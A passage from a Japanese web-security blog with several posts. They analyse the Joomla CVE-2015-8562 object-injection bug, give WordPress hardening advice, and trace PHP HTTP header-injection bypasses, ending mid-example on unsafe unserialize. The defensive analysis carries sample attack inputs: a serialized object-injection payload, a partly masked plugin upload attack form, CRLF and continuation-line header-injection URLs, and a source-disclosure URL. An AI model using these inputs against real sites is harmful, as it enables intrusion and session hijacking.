2015年12月18日金曜日

Joomla!の「ゼロデイコード実行脆弱性」はPHPの既知の脆弱性が原因

Joomla!にコード実行脆弱性(CVE-2015-8562)があり、パッチ公開前から攻撃が観測されていたと話題になっています。
パッチ公開の前に攻撃が始まる状態を「ゼロデイ脆弱性」と言いますが、それでは、この脆弱性のメカニズムはどんなものだろうかと思い、調べてみました。
結論から言えば、この問題はJoomla!側に重大な脆弱性はなく、PHPの既知の脆弱性(CVE-2015-6835)が原因でしたので報告します。

exploitを調べてみる

既にこの問題のexploitは公開されていますが、悪い子が真似するといけないのでURL等は割愛します。以下のページでは攻撃の原理が説明されています。
ざっくり言うと、以下の様な攻撃です。
  1. Joomla! がUser-Agentをセッション変数に保存するので、セッション形式のデータ(文字列)をUser-Agent経由でセットする
  2. その際、MySQLのデフォルトでは、UTF-8の4バイト形式があると、それ以降をトランケートする仕様を悪用して、攻撃に不要なデータを切り詰める
  3. 何ということでしょう! 切り詰めをすると、文字列がオブジェクトに化けるではありませんか
  4. 上記によりJoomlaのJDatabaseDriverMysqli、SimplePie等のクラスのオブジェクトをインジェクションして、デストラクタにより任意コードを起動
全体的には、典型的なオブジェクトインジェションによるコード実行です。なぜデストラクタにより任意コードが実行できるかについては、以下の記事を参照下さい。
問題は、上記の 3 です。なぜ、文字列を切り詰めると、文字列型のデータがオブジェクトに化けるのでしょうか。前記の記事にはその辺の説明はなかったので、自分で調べてみました。

シンプルな再現コード

以下は、セッション変数にログインユーザ名とUser-Agentのみをセッション変数にセットして、その際のセッション形式の文字列を表示するだけの簡単なプログラムです。
<?php
// インジェクションするクラス(攻撃対象の既存クラス)
class Class1 {
  private $private = 'prv';
  function __destruct() {
    echo "Class1::__destruct()\n";
  }
}

session_start();

$id = 'ockeghem'; // ログインユーザ名
// $browser はUser-Agentであり外部からコントロールできる
$browser = 'Mozilla/5.0';

$_SESSION['_default']['id'] = $id;
$_SESSION['_default']['browser'] = $browser;

echo str_replace("\0", '%00', session_encode()) . "\n";
出力は以下となります。
_default|a:2:{s:2:"id";s:8:"ockeghem";s:7:"browser";s:11:"Mozilla/5.0";}
セッション変数のシリアライズ形式は、以下のような形です。
  • _default   セッション変数のキー
  • a:2:{...}  要素数2の配列
  • s:2:"id"   文字列長の2の文字列「id」
一方、外部からは操作できませんが、browserのところにオブジェクトをセットした場合の形式は下記のとおりです。ヌル文字を含むため、パーセントエンコードした形で表示しています(bloggerの制限により%記号は全角にしていますが実際は半角です)。
_default|a:2:{s:2:"id";s:8:"ockeghem";s:7:"browser";O:6:"Class1":1:{s:15:"%00Class1%00private";s:3:"prv";}}
これを念頭におきつつ、外部からUser-Agentとして以下を設定してみます(パーセントエンコード形式)。■は、実際には、UTF-8の4バイト形式の文字をセットします。
_aa|O:6:"Class1":1:{s:15:"%00Class1%00private";s:3:"prv";}■
セッション変数のシリアライズ結果は下記となります。
_default|a:2:{s:2:"id";s:8:"ockeghem";s:7:"browser";s:57:"_aa|O:6:"Class1":1:{s:15:"%00Class1%00private";s:3:"prv";}■";}
しかし、これはあくまで文字列です。それは、s:57という型指定がある以上、外部からは変更できないはずです。
しかし、Joomla!のデフォルトのセッションストレージはMySQLであり、文字エンコーディングはutf8_general_ciとなっています。この場合、MySQLは、UTF-8の4バイト形式の文字があると、その文字を含めてそれ以降が切り詰められる、というすごい仕様があります。

このため、セッションをいったんMySQLに保存して、次のページでそのセッションデータを読みだすと、以下のように■以降がカットされた状態となります。
_default|a:2:{s:2:"id";s:8:"ockeghem";s:7:"browser";s:57:"_aa|O:6:"Class1":1:{s:15:"%00Class1%00private";s:3:"prv";}
このセッションデータをダンプすると、何ということでしょう! 文字列だった部分がオブジェクトになっているではありませんか。そして、オブジェクトが生成されているので、このデストラクタも実行されます。
array(2) {         ← ダンプ
  ["_default"]=>
  NULL
  ["57:"_aa"]=>
  object(Class1)#1 (1) {
    ["private":"Class1":private]=>
    string(3) "prv"
  }
}
Class1::__destruct()    ← デストラクタの実行
上記から、以下のことが言えます。
  • これは Joomla! の脆弱性ではない

この問題の原因は何か

phpallを使ってこの問題を確認すると、PHPの以下のバージョンで起こることが分かります
  • PHP-5.0.3~PHP-5.0.5
  • PHP-5.1.x ~ PHP-5.3.x 全て
  • PHP-5.4.0~PHP-5.4.44
  • PHP-5.5.0~PHP-5.5.28
  • PHP-5.6.0~PHP-5.6.12
すなわち、以下のバージョンで修正されています。
  • PHP-5.4.45
  • PHP-5.5.29
  • PHP-5.6.13
  • PHP-7.0.0
これらで修正されている脆弱性はなんだろうと思ってリリースノートを見ると、以下が該当するようですね。
  • Fixed bug #70219 (Use after free vulnerability in session deserializer). (CVE-2015-6835)
セッション・デシリアライザのUse after free脆弱性ということで、挙動から見てもビンゴでしょう。

Linuxディストリビューションではどうか?

PHP本家の対応は上記のとおりですが、RHEL/CentOS等のLinuxディストリビューションから、パッケージとして提供されているPHPのパッチの対応状況はどうでしょうか?
  • CentOS 5,6,7ともパッチ提供なし(参考
  • Ubuntu 12.04、14.04ともパッチ提供済み(参考
  • Debian/GNU Linux Debian6はパッチ未提供、7以降は提供済み
  • Fedora Fedora21以降でパッチ提供済み(20はサポート終了でパッチ提供なし)
Red Hat社の脆弱性トリアージ(緊急度判断)は通常妥当だと思っているのですが、この件に関しては外れてしまったようです。ただし、シリアライズされたセッションデータが切り詰められるなんて状況はちょっと予想しがたいので、悪いのはMySQLの仕様だ!、と思わなくもありません。

影響を受けるソフトウェア

PHPのこの脆弱性の影響は、Joomla!に限られるものではありません。セッションストレージとしてMySQLを使うことは、一般的によく行われているからです。

このため、影響の有無判定はともかく、PHPの最新版を使うことを推奨します。

RHEL/CentOSについてはパッチが提供されていないので、個別の対策をとるしかないでしょう。例えば、以下の様な対応が考えられます。
  • アプリケーション側で対応したバージョンを導入する(例:Joomla! 3.4.6)
  • MySQL 5.5.3 以降で使える utf8mb4 エンコーディングを使用する
  • セッションストレージとしてMySQLを避ける
  • バリデーションによりUTF-8の4バイト形式をエラーにする
緩和策としては、WAF(Web Application Firewall)の導入があります。

まとめ

Joomla!のリモートコード実行の問題を分析しました。これまで説明したように、この問題の直接の原因は、Joomla!側にはなく、PHPの既知の脆弱性(CVE-2015-6835)が原因です。私も「Joomla!にゼロデイ脆弱性」とツイートしてしまいましたが、Joomla!の問題ではないと訂正いたします。

この問題は、
  • PHPの通常は顕在化しない脆弱性CVE-2015-6835が
  • MySQLのUTF-8 4バイト形式以降を切り詰めるという仕様のため顕在化した
ことが問題と考えます。とくに、MySQLの上記挙動は、こちらでも書いたように、長いデータを黙って切り詰めると思わぬバグや脆弱性の原因になり得るという例だと言えるでしょう。



【HASHコンサルティング広告】
HASHコンサルティングが販売するWAF(SiteGuard、SiteGuard Lite)は、このJoomla!のコード実行の問題に対応したシグネチャを提供済みです。お問い合わせはこちら
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


2015年12月7日月曜日

WordPressの侵入対策は脆弱性管理とパスワード管理を中心に考えよう

この記事はWordPress Advent Calendar 2015の7日目の記事です。

今年初めてWordCamp Tokyoにて講演の機会をいただき、WordPressのセキュリティについて話しました(スライド)。そこでもお話ししましたが、WordPressに限らず、Webサイトへの侵入経路は2種類しかありません。それは以下の2つです。
  • ソフトウェアの脆弱性を悪用される
  • 認証を突破される
したがって、侵入対策としては以下が重要になります。
  • 全てのソフトウェア(OS、Apache等、PHP、WordPress本体、プラグイン、テーマ等)を最新の状態に保つ
  • パスワードを強固なものにする
以上! と叫びたい気分ですが、それではシンプル過ぎると思いますので、以下、WordCampでお話した内容とリンクしながら、もう少し細く説明したいと思います。

全てのソフトウェアを最新の状態に保つ

WordPressサイトを前提とすると、以下のソフトウェアの脆弱性を悪用した攻撃の可能性があります。
  • Apache、OpenSSL等
  • PHP
  • WordPress本体
  • WordPressのプラグイン、テーマ
これらのうち、Apache、OpenSSL、PHP等については、できればソフトウェアのアップデートを自前でやるのではなく、ホスティング業者等が代行してくれるサービスを選ぶとよいでしょう。昔からあるレンタルサーバー(共用ホスティング)も該当しますし、PaaS(Platform as a Service)も原則としてアップデートを事業者側でやってくれるはずです(要個別確認)。

WordPress本体とプラグイン、テーマのアップデートは重要です。とくに、プラグインとテーマについては、セキュリティ上の品質が本当にまちまちなのが困ったところです。WordCampでデモに用いたのはMailPoetというプラグインですが、過去のバージョンではテーマアップロードの際に認証をチェックしておらず、誰でも自由に勝手なテーマをアップロードできたという脆弱性があり、このため、脆弱性のデモも以下のように単なるアップロードフォームで攻撃できてしまいました(攻撃がマネできないように一部伏せ字)。
<body>
<form action="http://examle.jp/wp-admin/admin-post.php?page=xxxxxxxxxxxx&action=xxxxx" method="post" enctype="multipart/form-data">
<input type="text" name="action" value="xxxxxxxxx">
<input type="text" name="submitter" value="xxxxxxx">
<input type="text" name="xxxxxxxxxxxxx" value="xx">
<input type="file" name="xxxxxxxxx">
<input type="submit" value="攻撃">
</form>
</body>
このため、プラグインとテーマのアップデートは特に重要です。具体的には、
  • 本当に必要最小限のプラグインとテーマのみを導入する
  • プラグインとテーマのアップデートは自動化する
ことが重要です。
自動アップデートするとサイトが動かなくなることが心配という人もいるでしょうね。そういう心配には、クラウドのイメージバックアップ機能によりサイト全体を保存しておき、万一サイトが動かなくなった場合はバックアップから戻した上でゆっくりと原因分析をするとよいでしょう。ただし、バックアップから戻した直後はプラグイン等が古いわけですから、そのままの状態で公開してはいけません。動かなくなった原因を究明して対処を行い、プラグインのアップデートをすませてから公開するべきです。

パスワードを強固なものにする

もう一つの侵入経路は、認証を突破されるケースですが、WordPressの場合は「パスワードがばれちゃった」というケースが該当します。具体的な手口としては以下の様なものがあります。
  • パスワードが辞書に載っているもので、パスワードの辞書攻撃により侵入された
  • パスワードを他サイトでも使い回ししていて、パスワードリスト攻撃により侵入された
  • 管理端末がウイルス感染して、ウイルスがパスワードを漏洩させた
したがって、対策としては、下記が有効です。
  • よいパスワードを設定する(他で使っていない、辞書に載っていない、できればランダムな)
  • 管理用パソコンのウイルス対策(ソフトウェアのアップデートとウイルス対策ソフト)
WordPressの場合、よく「管理者のユーザ名としてadminは避けましょう」ということが言われます。確かに、admin決め打ちの攻撃も多いのでできればadminを避けたほうがよいとは思いますが、WordPerssは、ログイン名が外部にバレやすいという特性があります。下記は、WPscanというツールを用いてWordPressの辞書攻撃を行った結果の例ですが、adminユーザの方は良質なパスワードを設定していたので破られなかったものの、yamadaユーザはtiggerというパスワードが辞書攻撃によりばれてしまいました。
  +----+--------+------+----------+
  | Id | Login  | Name | Password |
  +----+--------+------+----------+
  | 1  | admin  |      |          |
  | 4  | yamada |      | tigger   |
  +----+--------+------+----------+
つまり、良質なパスワードをつけることが第一優先であり、その他は副次的な対策である、ということです。
WordPressの場合、ログインユーザ名を隠すことは不可能ではないようですが、かなりハードルが高いといえます。このため、ログインユーザ名がわかってしまうことは許容し、パスワード管理に注力することが得策であると考えます。

ファイルのパーミッション

レンタルサーバーにおいては、ファイルのパーミッション設定が重要となります。これは、一つのApacheを複数ユーザーで共有するという特性上必要なものです。
レンタルサーバー事業者側の対策が十分であれば通常は問題になることはないはずですが、現実に大規模な攻撃に至ったケースもあるので、利用者側でもできる対策はしておきましょう。
レンタルサーバーにおいては、以下のパーミッション設定が基本となります。
  • HTMLやJS、CSS、画像は604
  • PHP スクリプトは 600
  • CGI スクリプトは 700
  • ディレクトリは 701
※レンタルサーバー事業者によっては多少異なるパーミッションを指定している場合があります

静的なファイルに関しては、レンタルサーバ独自の特性として、1桁目(右端の桁)にReadパーミッションが必要となります。その他、PHPスクリプトやCGIスクリプトについては、ファイルオーナーのみに権限を与えることが重要です。

その他の「対策」について

上記二点がWordPressサイトのセキュリティ施策としてもっとも重要なものですが、「WordPress セキュリティ」等のキーワードで検索すると、「WordPressを守るために必須の10個の対策」みたいな記事をよく見かけます。
これらの記事を読むと、往々にして「それ、無意味とは言わないけど、それほど効果は期待できないから…」というものが多いです。
以下、それらの代表例を紹介します。

テーブル名のプレフィックをデフォルトから変更することの効果

WordPressのテーブル名にはデフォルトでwp_というプレフィックスがつきますが、そのままだとSQLインジェクション攻撃を受けるので、必ず他のものに変えるようにという記事をよく見かけます。
やらないよりはやった方がよいと思いますが、SQLインジェクション脆弱性があるという前提では、実はそれほど効果はありません。
なぜなら、SQLデータベースにはinformation_schemaという機能があり、テーブル名やデータベース名(スキーマ)は、ここから分かるからです。具体的には、information_schemaに対してSQLインジェクション攻撃をかけることで、テーブル名等の情報を得ることができます。
したがって、プレフィックスを変更すると、へっぽこな攻撃者や攻撃ツールは避けることができるかもしれませんが、腕の良い攻撃者からの攻撃は避けられません。
つまり、SQLインジェクション脆弱性があり、それを攻撃者に見つけられた時点で終わりなのです。このため、SQLインジェクション脆弱性を全力で避ける必要があります。
WordPressのプラグイン等であれば、WordPressの提供するプレースホルダ機能でSQLを呼び出すこと、素のPHPスクリプトであれば、PDOのプレースホルダ機能を用いてSQLを呼び出すことで、SQLインジェクション対策を行って下さい。

.htaccess等で wp-config.php をアクセス制限することの効果

.htaccess等を用いて、外部からwp-config.phpのアクセス制限をするという施策はよく見かけますが、この「対策」が役に立つケースは、実はそれほど多くありません。
wp-config.phpは設定のためのパラメータ設定のPHPスクリプトが並んでおり、このファイルにアクセスしても何も起きません。外部に公開されているPHPスクリプトなのでそれは当然です。問題は、wp-config.phpに記述されたデータベースのユーザ名やパスワードが漏洩することです。
しかし、wp-config.php自体にアクセスしてもそのソースコードは表示されません。表示されるとしたら、なんらかの脆弱性がある場合ですが、wp-config.php自体は単純なものなので、これ自体に脆弱性がある可能性はまずありません。したがって可能性としては、下記が考えられます。

(a) PHPのインストールを忘れていてwp-config.phpが生のままダウンロードされる
(b) 他のPHPスクリプトにディレクトリトラバーサル等の脆弱性がありwp-config.phpを閲覧される
(c) PHP等に脆弱性があり、PHPのソースが漏洩する

(a)は論外のケースであり、インストールの手順をしっかり立てましょう。万一 wp-config.phpの内容を閲覧されてしまった可能性がある場合、すみやかにデータベースのパスワードを変更する必要があります。また、念のため、データベースをすべて削除しておくとよいでしょう。(まだデータは入っていないはずなので)

(b)はあり得るケースですが、残念ながらこの場合は .htaccessの設定では防げません。.htaccessで制限しても、PHP等からは読めるからです。そうでないと、PHPスクリプトからインクルードもできないことになりますよね。

(c)も過去にはありました。CGI版のPHPにCVE-2012-1823という脆弱性があり(参考)、以下のURLのように、?-s をURLにつけることでwp-config.phpのソースを閲覧することができました。
  • http://example.jp/wp-config.php?-s
なんだ、効果があるじゃないかと思われるかもしれませんが、CVE-2012-1823に関しては、リモートコード実行もできたので、.htaccess による制限だけでは、結局ソースコードの閲覧も含め、さまざまな攻撃を許してしまう状況でした。
実際、レンタルサーバー事業者の中には、上記 ?-s による攻撃のみを重視した結果、肝心のリモートコード実行を防ぐことができず、重大な攻撃を受けてしまったところもあります。
将来見つかる脆弱性において、PHPのソースを閲覧できるものが出てくるかもしれませんので、その場合は .htaccess による制限も効果はあることになります。よって、「やっても無駄」というつもりはありませんが、今後そのような脆弱性が発見される見込みはそれほど高くないと思いますので、優先順序としては、脆弱性やパスワードの管理をしっかりやった後、ということです。

SiteGuard WP Pluginのすすめ

今までの話がWordPressのセキュリティ対策の「原則」の話ですが、いくら注意していても設定漏れ等により侵入を許す場合もあり、また長いパスワードをつけているので辞書攻撃の被害を受けないことはわかっていても、延々と攻撃を受け続けると気分はよくありません。
このため、付加的なセキュリティ対策についての検討をするところですが、私からはSiteGuard WP Pluginを紹介したいと思います。
SiteGuard WP Pluginは、WordPressのログイン周りに特化した無料のプラグインで、以下の機能を提供します。


管理ページアクセス制限ログインしていない接続元から管理ディレクトリ(/wp-admin/)を守ります。
ログインページ変更ログインページ名を変更します。
画像認証ログインページ、コメント投稿に画像認証を追加します。
ログイン詳細エラー
メッセージの無効化
ログインエラー時の詳細なエラーメッセージに変えて、単一のメッセージを返します。
ログインロックログイン失敗を繰り返す接続元を一定期間ロックします。
ログインアラートログインがあったことを、メールで通知します。
フェールワンス正しい入力を行っても、ログインを一回失敗します。
ピンバック無効化ピンバックの悪用を防ぎます。
更新通知WordPress、プラグイン、テーマの更新を、メールで通知します。
WAFチューニングサポートWAF (SiteGuard Lite)の除外リストを作成します。
JP-Secure社の紹介記事より引用

SiteGuard WP Pluginのレビューについては既に多くの記事がありますので、そちらをお読みいただければと思いますが、私がよいと思うポイントは下記の三点です。
  • SiteGuard の不正ログイン防止に特化している
  • 簡単に導入できて効果が高い
  • プラグイン自体の脆弱性対策がなされている(重要)
「セキュリティプラグイン」と称していながらSQLインジェクション脆弱性があったなんてものも過去ありましたので、プラグイン自体がセキュアであることは現実問題として非常に重要です。

SiteGuard WP Pluginのインストールはこちらから。

まとめ

WordPressの侵入対策について説明しました。
WordPressに限りませんが、ウェブサイトに対する侵入対策としては、脆弱性管理とパスワード管理が極めて重要であり、これらをおろそかにして他の(楽な)対策をいくら積み重ねても、あまり効果はありません。レンタルサーバーを利用する場合は、ファイルのパーミッション設定も重要です。
本稿の内容が皆様のサイトの安全性寄与にお役に立てれば幸いです。


2015年12月3日木曜日

PHPにおけるHTTPヘッダインジェクションはまだしぶとく生き残る

この記事はPHPアドベントカレンダー2015の3日目の記事です 。

MBSD寺田さんの記事「LWSとHTTPヘッダインジェクション」では、PHPのheader関数に関連して、PHP側のHTTPヘッダインジェクション対策を回避する手法と、それに対するPHP側の対応について書かれています。この記事では、寺田さんの記事を受けて、現在でもHTTPヘッダインジェクション攻撃が可能なPHP環境が残っているかを検証します。

HTTPヘッダインジェクションとは

以下の様なスクリプトがあるとします。
<?php
  header('Location: ' . $_GET['url']);
オープンリダイレクタ脆弱性がありますが、それは気にしないとして、PHP5.1.1までのバージョンでは、以下の様な攻撃が可能でした。

http://example.jp/header.php?url=http://example/top.php%0d%0aSet-Cookie:+PHPSESSID%3DABC

これにより生成されるHTTPレスポンスヘッダは以下となります。
Location: http://example/top.php
Set-Cookie: PHPSESSID=ABC
すなわち、HTTPヘッダとして出力されるパラメータに改行を含めることにより、開発者の意図しないレスポンスヘッダを出力させることができるというものです。上記の例では、Set-Cookieヘッダを出力させることにより攻撃者が任意のセッションIDをセットさせ、セッション固定攻撃に悪用できるというケースを示しています。

PHP 5.1.2での改良およびその抜け道

これに対して、PHP5.1.2にて、header関数の引数中の改行をチェクし、複数のヘッダを送信しないように改修されました。
これで、PHPでヘッダインジェクションはできなくなった…と思いきや、抜けがありました。PHP5.1.2での修正は、改行を構成するキャリッジリターンとラインフィードのうち、ラインフィードのみをチェックしていて、キャリッジリターンはチェックしていません。一方、大半のブラウザ(IE、Google Chrome、Safari、Opera)ではキャリッジリターンのみでも改行とみなしていて、ヘッダインジェクションが可能な状態でした。
http://example.jp/header.php?url=http://example/top.php%0dSet-Cookie:+PHPSESSID%3DABC
この問題はPHP 5.3.11およびPHP 5.4.0で修正され、最新のPHPではキャリッジリターンのみを使ったヘッダインジェクションはできなくなっています。


「継続行」を用いた攻撃方法

これでPHPではヘッダインジェクション攻撃はできなったと思われていましたが、まだ抜けがありました。それは継続行を使う方法です。
継続行とは、HTTP/1.1のRFC2616で規定されていたもので、以下のように、一つのレスポンスヘッダを複数行に分けて記述するものです。行頭に空白やタブがある場合、それは直前のヘッダに継続する内容(継続行)とみなされます。
Set-Cookie: PHPSESSID=UJqaktGaFBGTTAyM0diNks1aEJvZ2NNYz;
 domain=example.jp; path=/;
上の例では、Set-Cookieヘッダのdomain属性とpath属性を継続行に置いています。
これについて、下記の状況がありました。
  • PHPは5.1.2で複数行ヘッダを禁止したが、継続行は正規のヘッダとして認めていた
  • 多くのブラウザは継続行に対応していたが、IEのみ継続行を無視し、別のヘッダとして認識する
ということから、以下の攻撃に対して、IEの場合のみヘッダインジェクションが成立する状況でした。
http://example.jp/header.php?url=http://example/top.php%0d%0a%20Set-Cookie:+PHPSESSID%3DABC
ご覧のように、改行(%0d%0a)につづいて空白(%20)を用いることにより、以下の状況によりヘッダインジェクション攻撃を行うものです。
  • PHPは継続行と認識してそのまま通す
  • IEは(継続行ではなく)2つのヘッダと認識してSet-Cookieが受け入れられる
これに対して、HTTPの継続行がRFC7230で廃止されたことを受けて、PHPの以下のバージョンにて継続行もエラーになるように改修されました。
  • 5.4.38
  • 5.5.22
  • 5.6.6
すなわち、現在メンテナンスされている最新版のPHPにおいては、アプリケーション側で対処しなくても、HTTPヘッダインジェクションはできなくなりました。

Linuxディストリビューションの対応

PHP本家の最新版ではHTTPヘッダインジェクションに対処されたといっても、CentOSやDebian等LinuxディストリビューションのパッケージとしてPHPを導入している環境ではどうでしょうか?以下のディストリビューションにて検証してみました。現時点のすべてのパッチを適用した状態でテストしています。
  • Centos 5、6, 7
  • Ubuntu 10.04, 12.04, 14.04, 15.04, 15.10
  • Debian 6, 7, 8
  • Fedora 20, 21, 22, 23
結果は以下のとおりです。※ 注記参照


この結果から言えることは…
  • 全てのディストリビューションにおいて、キャリッジリターンのみによるヘッダインジェクションは対策されている
  • 長期サポートのCentOS、Ubuntu LTSでは、継続行によるヘッダインジェクションにはパッチが提供されていない
ということで、PHPの最新のパッチがあたっている場合でも、HTTPヘッダインジェクションができるサーバーはまだ存在する、というのが結論です。

※ 2016年8月11日のコミットにて、Ubuntu 12.04LTS以降も、継続行を禁止するパッチが作られました。これで、継続行によるヘッダインジェクションが可能なディストリビューションは、RHEL/CentOSのみとなりました。(2016年12月17日追記)

まとめ

HTTPヘッダインジェクションの最新動向について、寺田さんのブログ記事を参照しながら紹介しました。PHPの最新版においてはHTTPヘッダインジェクション攻撃の変種についても対策されているものの、CentOSやUbuntu等の長期サポートディストリビューションの中には、まだ「継続行」を用いた攻撃に対するパッチが提供されて環境があります。
したがって、HTTPヘッダインジェクション脆弱性対策については、一応はPHP側の責任と考えたうえで、アプリケーション側でもヘッダ文字列のバリデーション等で対策をしておくことを推奨します。

PHPにおいて、HTTPヘッダインジェクションは過去の(歴史的な)攻撃手法になりかけてはいるものの、まだしぶとく生き残っている、というのが結論です。


【HASHコンサルティング広告】
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


2015年10月20日火曜日

WordCamp Tokyo 2015にて講演します

WordCamp Tokyo 2015にてウェブセキュリティの話をします。

日時:10月31日(土)10:00~17:00(徳丸の出番は14:10から)
場所:ベルサール神田(東京都千代田区)
費用:500円(申し込みはこちら
講演タイトル:Webサイトをめぐるセキュリティ状況と効果的な防御方法~WordPressを題材として~(アジェンダ

実は、WordPressを題材にした講演を今までしたことがありませんで、事務局からの依頼には当初「WordPressに特化した話はできないけどいいですか」と質問し、「一般的なウェブセキュリティの話をしてくれればよい」という回答でしたのでお引き受けしました。

しかしながら、WordCampでJoomlaやDrupalのデモをするのはいささか礼を失するという思いと、やはりWordCamp来場者にはWordPressを使ったデモをしたほうが訴求するだろうと言う思いから、全体としてはウェブセキュリティの一般的な話を踏まえつつ、題材はWordPressを使うことにしました。そのため、デモは使い回しではなく、WordCamp用に新たに用意いたしました。

現在準備しているデモシナリオは下記となります。

シナリオ1-1: レンタルサーバーの利用者suzukiがWordPressのプラグインの脆弱性により侵入される
シナリオ1-2: suzukiと同じレンタルサーバーの利用者tanakaがシンボリックリンク攻撃により侵入される

シナリオ2: CGI版PHPの脆弱性(CVE-2012-1823) により、png画像に偽装したPHPスクリプトのアップロードと、.htaccssの改ざんをされる

シナリオ3: カスマイズとして追加したPHPスクリプトのSQLインジェクション脆弱性によりWordPressの管理者ユーザを追加され、不正ログイン

シナリオ4: WordPressサイトにパスワード辞書攻撃により侵入される


…どこかで見たようなシナリオだなとお気づきの方もおられると思います。上記シナリオは、現実にあった事件の再現(シナリオ1と2)や、頻繁に発生している事件をベースにしています。

上記シナリオはWordPressを使ったサイト(およびWebサイト全般)に対する主要な侵入経路を網羅していますので、これら経路を把握したうえで、その対策を施すことによりサイトの安全性を向上させることに寄与できると思います。
残念なことに、一般に「WordPress向けセキュリティ対策」として流布されている情報の中には、効果のあまりないものもあります。本セッションでは、効果的な対策を厳選して紹介したいと思います。

それでは、WordCampでお会いしましょう。

新刊「徳丸浩のWebセキュリティ教室」10月22日発売です

拙著「徳丸浩のWebセキュリティ教室」が10月22日に発売されます。Amazon等では既に予約開始されています
本書は書きおろしではなく、日経コンピュータ誌に連載したエッセイを、ほぼそのまま並べ直した形となっています。前著「安全なWebアプリケーションの作り方」のようながっつりした技術書ではなく、もう少し気楽な読み物として、技術者以外の方々にも読んでいただける内容になっている…と思います。


目次は、日経BP社のページから「目次を見る」で閲覧できますので、購入前の参考になさってください。

日経コンピュータ誌連載になかったものとして巻頭言があります。これはインタビュー記事ですが、カメラマンが弊社に来られて、生まれて初めて本格的な撮影をいただきました。写真を見るのが怖いですねw

元々がエッセイの連載ですので、本書の内容には、時事ネタあり、対策の考え方、ネットで論争となったあのネタ…等、様々です。

既に「ポチった」とか「予約した」という声も見かけていてありがたいのですが、「ガッツリした技術書ではなく気楽な読み物」であることを考慮いただければと思います。「期待と違った」という方は、予約をキャンセルしていただければ…あるいは、「自分では読まないけど、営業や上司に読ませたい」というのはありだと思います。

それでは、発売までしばらくお待ち下さい。

2015年10月1日木曜日

PHPカンファレンス2015にてトークします

PHPカンファレンス2015にてトークする機会を頂きましたので報告します。

日時:2015年10月3日(土曜日) 10時~17時(徳丸の出番は10:50~11:50)
場所:大田区産業プラザ PiO
費用:無料
講演タイトル:今どきのSQLインジェクションの話題総まとめ

講演の概要は以下となります。技術よりの話題で、デモあり(たくさん仕込みたいですね)、初級~中級です。
  • SQLインジェクション対策もれの責任を開発会社に問う判決
  • PHP入門書のSQLインジェクション脆弱性の状況
  • O/RマッパやSQLジェネレーターのSQLインジェクションの話題
「SQLインジェクション対策もれの責任を開発会社に問う判決」はこちらで記事に書いた内容の紹介になります。問題のECサイトはEC-CUBEをカスタマイズしたものでしたので、つまりPHPで書かれたアプリケーションのSQLインジェクションだったというわけで、PHPカンファレンスの来場者にとって切実な話題ではないかと思います。

PHP入門書のSQLインジェクションについては、明るい話題になるのではないかと思いますw

O/RマッパやSQLジェネレーターのSQLインジェクションの話題については、以下を紹介しようと思います。
  • Rails SQL Injection Examplesの紹介
  • Zend FrameworkのSQLインジェクション
  • JSON SQL Injection
  • Drupageddon(CVE-2014-3704) 
RailsはPHPじゃないじゃないか…というツッコミが入りそうですが、フレームワークやO/Rマッパを使う上で注意すべき内容として、PHPプログラマにも参考になる話題です。そして、Zend FrameworkのSQLインジェクションでも類似の問題が出ていることも、その主張の補強になると考えます。
JSON SQL Injectionは奥一穂さんや、はるぶさんからPerlを題材として紹介されたものですが、実はPHPの方が問題になりやすいという紹介になります。
Drupageddonは、日本ではあまり話題になりませんでしたが、大変凶悪な脆弱性として世界レベルで問題になりました。技術的にも大変興味深いものですし、SQLジェネレーターを作る側としての注意点として参考になるものです。

そして…
Makoto Kuwataさんからは、私のトークに対する「回答」と思われる講演が用意されていますね。示し合わせたわけではありませんので、余計に素晴らしいと思いました。
ということで、
  • まず徳丸の講演で問題点を知る
  • kuwataさんの講演で対応の考え方を知る
という、セットでお聞きになるとよろしいかと思いますw

それでは、10月3日PiOでお会いしましょう。


【HASHコンサルティング広告】
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


2015年7月24日金曜日

セキュアなWEBサイト運用のためのワークショップ(東京)にて講演します

キヤノンITソリューションズ株式会社主催のセミナー「セキュアなWEBサイト運用のためのワークショップ~ハッカーが攻撃をあきらめるWEBサイトとは?~」にて講演します。

日時:2015年7月29日(水)13:30~17:00 受付は13:00より
場所:フクラシア品川クリスタルスクエア 3階 会議室G (東京都港区 地図
費用:無料(申し込みはこちら
講演タイトル:やぶられにくいWEBサイトの作り方  ~被害事例から学ぶ攻撃手法とその対策~

企業セミナーとしては長めの80分という枠をいただいていますので、具体的な攻撃手法をたっぷりお見せしたいと思います。「被害事例から学ぶ…」というタイトルですので、具体的な事例の手法(推測含む)の攻撃手法のデモをお見せします。
  • 情報通信研究機構(NICT)ウェブサイトに対する侵入事件(Joomlaの脆弱性)
  • メガネ通販サイトに対する侵入事件(Struts2の脆弱性によりサイト改ざん、入力内容窃取)
  • EC-CUBEカスタマイズ部分のSQLインジェクションによる個人情報窃取
  • パスワードリスト攻撃による不正ログイン
  • なりすまし犯行予告をCSRF攻撃で
  • なりすまし犯行予告をXSS攻撃で
  • なりすまし犯行予告をクリックジャッキング攻撃で
  • その他
大阪でもほぼ同じ内容でやりましたが、今回は少し趣向を変えて、「なりすまし犯行予告」をCSRF、XSS、クリックジャッキングの3パターンで実演いたします。これら攻撃手法の *具体的な* 悪用方法やその違いが理解しやすいかと思います。

それでは、よろしくお願いいたします。

2015年7月15日水曜日

PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になる

既にいくつかの記事で指摘がありますが、PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になります。 しかし、ブログ記事等を見ていると、外部由来の値をunserialize関数に処理させているケースが多くあります。

ユースケースの一例としては、「複数の値をクッキーにセットする方法」として用いる場合です。 PHP クッキーに複数の値を一括登録する方法という記事では、以下の方法で複数の値をクッキーにセットしています。
$status = array(
 "height" => 167,
 "weight" => 50,
 "sight" => 1.2
);
setcookie("status", serialize($status));
クッキーの受け取り側は以下のコードです。
print_r(unserialize($_COOKIE['status']));
出力結果は以下となります。
Array
(
[height] => 167
[weight] => 50
[sight] => 1.2
)
このようなunserialize関数の使い方は危険なのですが、上記に示したコードの範囲では脆弱性とまでは言えません。そこで、脆弱な例(getcookie.php)を下記に示します。
<?php
  require_once 'Logger.php';  // ログ出力クラス

